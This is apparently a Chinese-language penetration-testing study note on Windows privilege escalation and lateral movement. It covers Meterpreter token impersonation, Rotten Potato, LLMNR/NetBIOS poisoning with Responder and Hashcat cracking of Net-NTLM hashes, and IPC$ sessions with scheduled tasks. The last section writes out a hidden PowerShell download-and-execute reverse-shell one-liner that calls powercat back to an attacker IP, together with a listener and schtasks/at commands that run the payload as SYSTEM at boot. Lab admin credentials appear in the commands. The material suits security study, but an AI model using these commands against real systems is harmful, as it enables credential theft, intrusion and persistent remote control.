提权&获得令牌

17、令牌窃取

0、前言

令牌(Token)是指系统中的临时秘钥,相当于账户和密码,有了令牌就可以在不知道密码的情况下访问目标相关资源了,这些令牌将持续存在于系统中,除非系统重新启动。

1、MSF

在获取到 Meterpreter Shell 后,使用以下命令获取令牌

load incognito
list_tokens -u

这里有两种令牌,一个是 Delegation Tokens 即授权令牌,还有一种是 Impersonation Tokens 即模拟令牌。前者支持交互式登录比如远程桌面,后者支持非交互的会话。

令牌获取的数量取决于获取到 Shell 的权限等级。

如果已经获取到了 SYSTEM 权限的令牌,那么攻击者就可以伪造这个令牌,拥有对应的权限。

impersonate_token "NT AUTHORITY\SYSTEM"

可以看到我们已经通过伪造 SYSTEM 的令牌拿到 SYSTEM 权限了。

不过值得注意的是,如果不加双引号,\ 需要改成 \\ 才行,个人猜测可能是因为 \ 被当做转义字符处理的原因。

2、Rotten Potato 本地提权

Rotten Potato 直译过来就烂土豆的意思,如果目标中存在有效的令牌,就可以通过 Rotten Potato 模拟用户令牌实现提权。

Rotten Potato 项目地址:https://github.com/breenmachine/RottenPotatoNG

运行 RottenPotato.exe 直接弹出 SYSTEM 权限的 CMD 窗口,不需要用到 MSF。

18、LLMNR 和 NetBIOS 欺骗攻击

0、前言

如果已经进入目标网络,但是没有获得凭证,可以使用 LLMNR 和 NetBIOS 欺骗攻击对目标进行无凭证条件下的权限获取。

1、基本概念

LLMNR

本地链路多播名称解析(LLMNR)是一种域名系统数据包格式,当局域网中的 DNS 服务器不可用时,DNS 客户端就会使用 LLMNR 解析本地网段中机器的名称,直到 DNS 服务器恢复正常为止。

从 Windows Vista 开始支持 LLMNR ,Linux 系统也通过 systemd 实现了此协议,同时 LLMNR 也支持 IPv6。

NetBIOS

NetBIOS 协议是由 IBM 公司开发,主要用于数十台计算机的小型局域网,根据 NetBIOS 协议广播获得计算机名称,并将其解析成相应的 IP 地址。

从 Windows NT 以后版本的所有操作系统中都可以使用 NetBIOS,不过 NetBIOS 不支持 IPv6.

NetBIOS 提供的三种服务:

​ i、NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据报,该服务默认监听 UDP 137 端口,也可以使用 TCP 的 137 端口进行监听。

​ ii、Datagram Distribution Service(数据报分发服务):无连接服务,该服务负责进行错误检测和恢复,默认监听 UDP 138 端口。

​ iii、Session Service(会话服务):允许两台计算机建立连接,默认使用 TCP 139 端口。

Net-NTLM Hash

NTLM 即 NT LAN Manager,NTLM 是指 telnet 的一种验证身份方式,即问询/应答协议,是 Windows NT 早期版本的标准安全协议。

Net-NTLM Hash 不同于 NTLM Hash,NTLM Hash 是 Windows 登录密码的 Hash 值,可以在 Windows 系统的 SAM 文件或者域控的 NTDS.dit 文件中提取到出来,NTLM Hash 支持哈希传递攻击。

Net-NTLM Hash 是网络环境下 NTLM 认证的 Hash,使用 Responder 抓取的通常就是 Net-NTLM Hash,该 Hash 不能进行哈希传递,但可用于 NTLM 中继攻击或者使用 Hashcat 等工具碰撞出明文进行横向。

2、利用

Responder 是一款使用 Python 编写用于毒化 LLMNR 和 NBT-NS 请求的一款工具。

假设我们已连接到 Windows Active Directory 环境,当网络上的设备尝试用 LLMNR 和 NBT-NS(NetBIOS 名称服务)请求来解析目标机器时,Responder 就会伪装成目标机器。

当受害者机器尝试登陆攻击者机器,Responder 就可以获取受害者机器用户的 Net-NTLM 哈希值。

Responder 项目地址:https://github.com/lgandx/Responder

Responder 不支持 Windows,这里使用 Kali 进行演示。

Responder 开启监听,-I 指定网卡,这里 eth1 的 IP 为 192.168.7.65

python Responder.py -I eth1

开启监听后,当目标主机上有人访问 Responder 主机的共享目录时,就会看到对方的 Net-NTLM 哈希值了。

再利用 Hashcat 进行碰撞

hashcat -m 5600 hash.txt password.txt -D 1

参考文章:

https://www.jianshu.com/p/a210528f9b35

https://baike.baidu.com/item/NTLM/6371298

https://baike.baidu.com/item/LLMNR/1116392

https://www.freebuf.com/articles/system/194549.html

https://baike.baidu.com/item/NetBIOS%E5%8D%8F%E8%AE%AE/8938996

19、IPC 与计划任务

0、前言

在多层代理的环境中,由于网络限制,通常采用命令行的方式连接主机,这里学习下 IPC 建立会话与配置计划任务的相关点。

1、IPC

IPC (Internet Process Connection) 是为了实现进程间通信而开放的命名管道,当目标开启了 IPC$ 文件共享并得到用户账号密码后,就可以使用 IPC 建立连接,获取权限。

建立 IPC 连接:

net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator

输入 net use 可以查看当前建立的连接

C:\>net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator
命令成功完成。

C:\>net use
会记录新的网络连接。

状态       本地        远程                      网络
-------------------------------------------------------------------------------
OK                     \\192.168.7.107\ipc$      Microsoft Windows Network
命令成功完成。

映射磁盘到本地

net use t: \\192.168.7.107\c$

如果想删除映射的磁盘

net use t: /del

dir 列出对方目录

dir \\192.168.7.107\c$
C:\>dir \\192.168.7.107\c$
 驱动器 \\192.168.7.107\c$ 中的卷没有标签。
 卷的序列号是 BC2F-8F01

 \\192.168.7.107\c$ 的目录

2020/11/24  17:28    <DIR>          Program Files
2020/11/24  17:26    <DIR>          Program Files (x86)
2021/02/13  17:49    <DIR>          TEMP
2021/08/02  11:42    <DIR>          Users
2020/11/25  08:37    <DIR>          Windows
               0 个文件              0 字节
              5 个目录 32,833,009,664 可用字节

tasklist 查看进程

tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX
C:\>tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX

映像名称                       PID 会话名              会话#       内存使用
========================= ======== ================ =========== ============
System Idle Process              0                            0         24 K
System                           4                            0        368 K
smss.exe                       260                            0        628 K
csrss.exe                      356                            0      2,360 K
wininit.exe                    408                            0        264 K
csrss.exe                      420                            1      8,692 K
winlogon.exe                   468                            1      2,012 K
services.exe                   512                            0      7,460 K
lsass.exe                      520                            0     10,216 K
lsm.exe                        528                            0      4,148 K
spoolsv.exe                   1356                            0      6,504 K
svchost.exe                   1392                            0      7,028 K

使用 \del 可断开连接

net use \\192.168.7.107\ipc$ /del

2、计划任务

Windows 可用于创建计划任务的命令有两个,分别是 at 和 schtasks,at 在 Windows Server 2008 及之后的系统中,已经被废弃了。

这里看看在建立 IPC 连接后,使用计划任务运行可执行文件,主要步骤如下:

1、查看目标主机时间

2、上传可执行文件到目标主机

3、设置计划任务执行可执行文件

4、删除计划任务

首先查看下目标主机时间

net time \\192.168.7.107
C:\>net time \\192.168.7.107
\\192.168.7.107 的当前时间是 2021/8/2 14:28:01
命令成功完成。

创建一个反弹木马 bat 程序,这里使用 PowerShell 进行反弹,bat 文件内容如下:

powershell.exe -nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.7.4 -p 4444 -e cmd"

在攻击机上开启 nc 监听

nc -lvp 4444

将 bat 程序上传到目标主机

copy evil.bat \\192.168.7.107\c$

使用 at 创建计划任务

at \\192.168.7.107 14:30 C:\evil.bat

如果想清除 ID 为 1 的计划任务

at \\192.168.7.107 1 /del

使用 schtasks 创建计划任务

# 开机以 system 权限执行 C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /sc onstart /tr C:\evil.bat /ru system /f

# 在 2021/08/03 前的每一天的 14:30:00 执行 C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /tr C:\evil.bat /sc daily /st 14:30:00 /ed 2021/08/03

# 立刻运行名称为 evil 的任务
schtasks /run /s 192.168.7.107 /i /tn "evil"

如果想清除名称为 evil 的计划任务

schtasks /delete /s 192.168.7.107 /tn "evil" /f

在建立 IPC 连接后,除了使用计划任务进行间接的反弹 Shell,还可以通过 PsExec 直接反弹 Shell

PsExec 下载地址:https://download.sysinternals.com/files/PSTools.zip

Psexec.exe -accepteula \\192.168.7.107 -s cmd.exe

参考文章: https://www.freebuf.com/articles/web/251389.html

Last updated

Was this helpful?